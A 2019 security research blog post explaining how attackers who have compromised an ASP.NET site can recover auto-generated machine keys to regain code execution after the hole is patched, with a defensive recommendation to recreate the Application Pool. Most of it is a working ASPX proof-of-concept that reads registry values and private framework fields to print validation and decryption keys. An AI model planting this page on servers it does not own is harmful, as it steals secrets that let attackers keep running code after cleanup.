Monthly Archives: May 2019

Danger of Stealing Auto Generated .NET Machine Keys

In the Exploiting Deserialisation in ASP.NET via ViewState blog post, I explained how it is possible to run code on an ASP.NET web application using compromised Machine Key secrets. It covers cases in which the keys are hard coded and could be read using another vulnerability such as local file disclosure. However, most websites do not hard code these keys and use automatically generated values by ASP.NET. As a result, it is not simply possible to steal the keys by reading the configuration files.

Now I want to explain how hackers who have already exploited an ASP.NET application can read the auto generated parameters to maintain their access even after their original vulnerability has been patched.

This can also be abused very similar to a hidden key or a backdoor by malicious developers to execute code on a server when they do not have their access anymore.

What do you do with a comprised box?

Assume this generic scenario: An outdated ASP.NET CMS on IIS has been hacked using a vulnerability that has been patched in the latest version of the software.

This is what we know:

  • The exploit and its patch are public
  • A web shell was dropped
  • No other file changes have been recorded
  • Database values have not been modified by the attacker
  • No fixed machine key is in the web.config file

This is what we have done after pulling the server offline:

  • The web server has been restored to its pre-attack condition:
    • Web shell has been deleted
  • Database has been restored to its pre-attack condition
    • Any potential data changes have been reversed
  • The CMS application has been updated
    • Vulnerability has been patched
  • All the hardcoded secrets and credentials within the application files or the database have been changed
  • Users’ passwords and other sensitive tokens in the accessible databases have been reset

Can we go online now without risk of attackers coming back?

Although some people may say “NO” for other reasons, I like to say “NO” as the auto generated Machine Key might have been stolen! This can be enough for hackers to run code on the server whenever they want.

Reading the Generated Keys

Attackers should be able to calculate the validation and decryption keys by reading the following registry keys (depends on the .NET version):

HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4   

HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\ 2.0.50727.0\AutoGenKey  

These registry keys belong to the IIS user (Application Pool) that runs the application.

However, when attackers can run ASP.NET code on the website, it easier to extract the keys directly. It should be noted that used keys where ASP.NET Framework 4.5 has been targeted are different than the previous versions.

Auto generated keys can have two modes:

  • IsolateApps
    • In this case, it uses the value of HttpRuntime.AppDomainAppVirtualPath (e.g. /dir/appname/) when transforming the auto-generated key to make the validation and decryption keys
  • IsolateByAppId
    • In this case, it uses the value of HttpRuntime.AppDomainAppId (e.g. /LM/W3SVC/1/ROOT/dir/appname/ where ‘1’ is the AppId) when transforming the auto-generated key to make the validation and decryption keys. This is useful when two different applications use the same virtual path so their keys will be different.

Different ASP.NET pages within the same application uses the same set of transformed keys.

I have created a simple proof of concept code in the following GitHub gist in order to extract auto generated validation and decryption keys:

https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab

<%@ Page Language="C#" %>
<%
// Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/
Response.Write("<br/><hr/>");
byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{});
if(autoGenKeyV4!=null)
	Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{});
if(autoGenKey!=null)
	Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\AutoGenKey: "+BitConverter.ToString(autoGenKey).Replace("-", string.Empty));
Response.Write("<br/><hr/>");

var systemWebAsm = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var machineKeySectionType = systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");
var getApplicationConfigMethod = machineKeySectionType.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var config = (System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(null, new object[0]);

Response.Write("<b>ValidationKey:</b> "+config.ValidationKey);
Response.Write("<br/>");
Response.Write("<b>DecryptionKey:</b> "+ config.DecryptionKey);
Response.Write("<br/><hr/>");

var typeMachineKeyMasterKeyProvider = systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
var instance = typeMachineKeyMasterKeyProvider.Assembly.CreateInstance(
	typeMachineKeyMasterKeyProvider.FullName, false,
	System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic,
	null, new object[] { config, null, null, null, null }, null, null);
var validationKey = typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance, new object[0]);
byte[] _validationKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey, new object[0]);
var encryptionKey = typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance, new object[0]);
byte[] _decryptionKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey, new object[0]);

Response.Write("<br/><b>ASP.NET 4.5 and above:</b><br/>");
Response.Write("<br/>");
Response.Write("<b>validationAlg:</b> "+config.Validation);
Response.Write("<br/>");
Response.Write("<b>validationKey:</b> "+BitConverter.ToString(_validationKey).Replace("-", string.Empty));
Response.Write("<br/>");
Response.Write("<b>decryptionAlg:</b> "+config.Decryption);
Response.Write("<br/>");
Response.Write("<b>decryptionKey:</b> "+BitConverter.ToString(_decryptionKey).Replace("-", string.Empty));
Response.Write("<br/><hr/>");

Response.Write("<br/><b>ASP.NET 4.0 and below:</b><br/>");
byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null);
int validationKeySize = 64;
int decryptionKeySize = 24;
byte[] validationKeyAuto = new byte[validationKeySize];
byte[] decryptionKeyAuto = new byte[decryptionKeySize];
System.Buffer.BlockCopy(autogenKeys, 0, validationKeyAuto, 0, validationKeySize);
System.Buffer.BlockCopy(autogenKeys, validationKeySize, decryptionKeyAuto, 0, decryptionKeySize);
string appName = HttpRuntime.AppDomainAppVirtualPath;
string appId = HttpRuntime.AppDomainAppId;
Response.Write("<br/>");
Response.Write("<b>appName:</b> "+appName);
Response.Write("<br/>");
Response.Write("<b>appId:</b> "+appId);
Response.Write("<br/>");
Response.Write("<b>initial validationKey (not useful for direct use):</b> ");
Response.Write(BitConverter.ToString(validationKeyAuto).Replace("-", string.Empty));
Response.Write("<br/>");
Response.Write("<b>initial decryptionKey (not useful for direct use):</b> ");
Response.Write(BitConverter.ToString(decryptionKeyAuto).Replace("-", string.Empty));
Response.Write("<br/>");

byte[] _validationKeyAutoAppSpecific = validationKeyAuto.ToArray();
int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
_validationKeyAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
_validationKeyAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
_validationKeyAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
_validationKeyAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
Response.Write("<b>App specific ValidationKey (when uses IsolateApps):</b> ");
Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-", string.Empty));
Response.Write("<br/>");

byte[] _validationKeyAutoAppIdSpecific = validationKeyAuto.ToArray();
int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
_validationKeyAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
_validationKeyAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
_validationKeyAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
_validationKeyAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
Response.Write("<b>AppId Auto specific ValidationKey (when uses IsolateByAppId):</b> ");
Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-", string.Empty));
Response.Write("<br/>");

byte[] _decryptionKeyAutoAutoAppSpecific = decryptionKeyAuto.ToArray();
//int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
_decryptionKeyAutoAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
_decryptionKeyAutoAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
_decryptionKeyAutoAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
_decryptionKeyAutoAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
Response.Write("<b>App specific DecryptionKey (when uses IsolateApps):</b> ");
Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppSpecific).Replace("-", string.Empty));
Response.Write("<br/>");

byte[] _decryptionKeyAutoAutoAppIdSpecific = decryptionKeyAuto.ToArray();
//int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
_decryptionKeyAutoAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
_decryptionKeyAutoAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
_decryptionKeyAutoAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
_decryptionKeyAutoAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
Response.Write("<b>AppId Auto specific DecryptionKey (when uses IsolateByAppId):</b> ");
Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppIdSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
%>

After extracting the keys, attackers can run code on the website using the method explained in the Exploiting Deserialisation in ASP.NET via ViewState blog post.

Recommendation:

Create a new Application Pool for your ASP.NET application when you need to reset all the credentials for any reasons. This will ensure that a new ASP.NET key will be generated for the application.

References:

https://gyorgybalassy.wordpress.com/2013/12/07/how-unique-is-your-machine-key/
https://devblogs.microsoft.com/aspnet/cryptographic-improvements-in-asp-net-4-5-pt-1/
https://devblogs.microsoft.com/aspnet/cryptographic-improvements-in-asp-net-4-5-pt-2/